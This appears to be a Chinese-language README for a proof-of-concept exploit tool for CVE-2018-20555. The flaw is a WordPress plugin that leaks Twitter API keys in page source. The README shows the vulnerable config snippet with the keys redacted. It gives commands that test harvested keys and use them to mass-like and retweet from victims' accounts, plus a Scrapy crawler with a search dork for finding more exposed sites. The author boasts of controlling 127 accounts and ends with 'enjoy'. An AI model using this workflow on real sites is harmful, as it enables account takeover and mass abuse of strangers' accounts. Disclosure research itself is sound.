
CVE-2018-20555 漏洞利用工具:通过易受攻击的 Social Network Tabs WordPress 插件中泄露的 API 密钥,自动发现并接管 Twitter 账户,具备抓取和大规模利用能力。
由 Design Chemical 公司开发的 WordPress 插件 Social Network Tabs 两次泄露了其用户的 Twitter access_token、access_token_secret、consumer_key 和 consumer_secret,导致其 Twitter 账户被接管。
问题出在显示 Twitter 微件的页面中的以下代码行:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[已编辑]",
facebookId: "[已编辑]",
youtubeId: "[已编辑]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5B已编辑%5D&2=%5B已编辑%5D&3=%5B已编辑%5D&4=%5B已编辑%5D …",
title: "最新推文",
follow: "关注",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[已编辑]",
consumer_secret: "[已编辑]",
access_token: "[已编辑]",
access_token_secret: "[已编辑]"
},
}
});
借助 Publicwww,通过以下搜索查询,我从 539 个易受攻击的网站中检索到了 Twitter access_token、access_token_secret、consumer_key 和 consumer_secret:
所有密钥均可在 twitter_keys.csv 中找到。
测试 twitter_keys.csv 中的 Twitter API 密钥
python test_twitter_api_keys.py -t
我第一次运行此命令时,获得了 446 个 Twitter 账户的信息。值得一提的是,列表中有 2 个已验证账户,以及多个粉丝数超过 10K+ 的账户。所有易受攻击的账户都列在 vulnerable_accounts.txt 中。
为你选择的推文点赞
python test_twitter_api_keys.py -l [tweet_id]
转发你选择的推文
python test_twitter_api_keys.py -r [tweet_id]
我第一次运行此命令时,成功为自己选择的推文点赞了 127 次,这表明有 127 个 Twitter API 密钥拥有读写权限,即我可以接管 127 个 Twitter 账户(更改头像、点赞、转发、修改简介等),原因正是这些密钥泄露。
大量网站及其 Twitter 账户仍然受到此问题的影响。为了识别它们,我创建了一个爬虫:
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
此 Google 搜索查询的结果总数为 3550。在前 9 页中,我成功检索到了 78 个密钥(86%)。尽情享受吧!
在 Twitter 上关注我!你也可以在 https://fs0c131y.com 上找到我工作的一小部分。
此项调查及 PoC 由 @fs0c131y 用❤️完成。